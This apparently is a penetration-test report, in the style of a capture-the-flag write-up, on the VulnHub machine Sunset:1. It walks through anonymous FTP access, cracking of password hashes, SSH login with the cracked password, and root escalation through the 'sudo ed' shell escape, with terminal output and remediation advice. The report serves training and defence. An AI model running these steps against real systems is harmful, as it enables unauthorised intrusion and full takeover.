

VULNERABILITY ASSESSMENT & PENETRATION TESTING

TARGET: SUNSET: 1 (10.0.2.17)

DATE: YOUR DATE

CLASSIFICATION: CONFIDENTIAL

ASSESSOR: ISMAIL TP

1. EXECUTIVE SUMMARY

A full-scope penetration test was performed on the Sunset:1 VulnHub machine. Multiple critical weaknesses were found which allowed an attacker to compromise the machine completely, including:

- Anonymous FTP login leaking sensitive files
- Exposure of password hashes through “backup” file
- Weak password crackable using wordlists
- Unauthorized SSH login
- Sudo misconfiguration allowing root privilege escalation
- Complete system takeover

The system risk level is CRITICAL and immediate remediation is required.

2. ATTACK OVERVIEW

1. Reconnaissance

- Host discovery
- Port scanning
- Service enumeration
- Anonymous FTP access discovered

2. Credential Attack

- Password hashes retrieved from FTP
- Cracked using John the Ripper
- SSH credentials recovered (sunset:cheer14)

3. SSH Access

- Logged in successfully
- User flag obtained

4. Privilege Escalation

- sudo -l misconfiguration
- /usr/bin/ed allowed root execution
- Root shell obtained

5. Full System Compromise

- Root flag obtained
- Ability to modify, delete, or destroy the entire system

3. TECHNICAL FINDINGS

3.1 Critical: Anonymous FTP Access

Severity: Critical

CVSS: 9.1

Description

FTP allowed anonymous login without password. This granted access to files including a sensitive backup file containing user password hashes.

Terminal:

```
└───(kali㉿kali)-[~]  
└───$ ftp 10.0.2.17  
Connected to 10.0.2.17.  
Name (10.0.2.17:kali): anonymous  
331 Please specify the password.  
Password:  
230 Login successful.  
  
ftp> ls  
200 PORT command successful.  
150 Here comes the directory listing.  
backup  
226 Directory send OK.
```

Downloading the file:

```
ftp> get backup  
local: backup remote: backup  
226 Transfer complete.
```

Impact

- Attacker gains access to internal system data
- Leads directly to credential cracking
- Foundation for full system compromise

Recommendation

- Disable anonymous FTP
- Use SFTP/SSH instead
- Remove sensitive files from public directories
- Apply strict file permissions

3.2 Critical: Weak Password Hash Protection

Severity: Critical

CVSS: 9.8

Description

The backup file contained Linux-style hashed passwords.

“

```
└───(kali㉿kali)-[~]
```

```
└───$ john backup --wordlist=/usr/share/wordlists/rockyou.txt
```

Loaded 1 password hash (sha512crypt, SHA512 Crypt)

Press 'q' or Ctrl-C to abort, almost any other key for status

cheer14 (sunset)

”

Recovered credentials:

- Username: sunset
- Password: cheer14

Impact

- Immediate SSH compromise
- Unauthorized access to user account

Recommendation

- Store salted hashes only
- Use PBKDF2, bcrypt, or Argon2
- Enforce strong password policies

3.3 Critical: SSH Account Takeover

Severity: Critical

CVSS: 9.1

Description

Using cracked credentials, the attacker could directly log into the system over SSH.

Terminal Evidence

```
└───(kali㉿kali)-[~]  
└───$ ssh sunset@10.0.2.17  
sunset@10.0.2.17's password: cheer14
```

```
$ whoami  
sunset  
$ hostname  
sunset
```

User flag:

```
$ cat user.txt  
f6f2ac5.....
```

.

Impact

- Full user-level control
- Ability to escalate to root

Recommendation

- Disable password login
- Enable key-based SSH authentication
- Install fail2ban

3.4 Critical: Privilege Escalation via Sudo Misconfiguration

Severity: Critical
CVSS: 9.8

Description

Running `sudo -l` shows user `sunset` can run `/usr/bin/ed` as root WITHOUT password.

Terminal

```
$ sudo -l
```

Matching Defaults entries for `sunset` on this host:

```
env_reset, mail_badpass,
```

User `sunset` may run the following commands on this host:

```
(root) NOPASSWD: /usr/bin/ed
```

The `ed` binary supports shell escapes.

Root Exploit

```
$ sudo ed
```

```
!/bin/sh
```

```
# id
```

```
uid=0(root) gid=0(root) groups=0(root)
```

Root Flag

```
# cat /root/root.txt
```

```
a9c75e7.....
```

Impact

- Full system compromise
- Ability to modify/delete system files
- No restrictions on root access

Recommendation

- Remove `/usr/bin/ed` from `sudo`
- Audit `sudoers`
- Follow least-privilege principle

Description

System usernames exposed through FTP files and system enumeration.

Collected Accounts

sunset
daemon
bin
sys

“

”

Impact

- Helps brute-force and spraying attacks

Recommendation

- Restrict access to system files
- Limit information disclosure
- Apply principle of least privilege

4. COMPROMISED DATA SUMMARY

User Credentials Exposed

Account-sunset

Password-cheer14

Source-Cracked from backup

System Access Obtained

- SSH user shell
- Root shell via sudo exploit

Flags Exposed

- User flag: f6f2ac5...
- Root flag: a9c75e7...

5. REMEDIATION PLAN

Immediate (24–48 hours)

- Disable anonymous FTP
- Remove sensitive files (“backup”)
- Patch sudo misconfigurations
- Reset all passwords
- Restrict SSH to key-based auth

Short Term (1–2 weeks)

- Enforce password complexity
- Deploy log monitoring
- Implement intrusion detection (Wazuh / OSSEC)

Long Term (1–2 months)

- Regular VAPT
- Continuous configuration audits
- Harden Linux environment

6. CONCLUSION

Sunset:1 is critically vulnerable.

The chain of vulnerabilities anonymous FTP, hash exposure, weak password, and sudo misconfiguration resulted in complete system compromise including root access.

Immediate remediation is essential to secure the environment.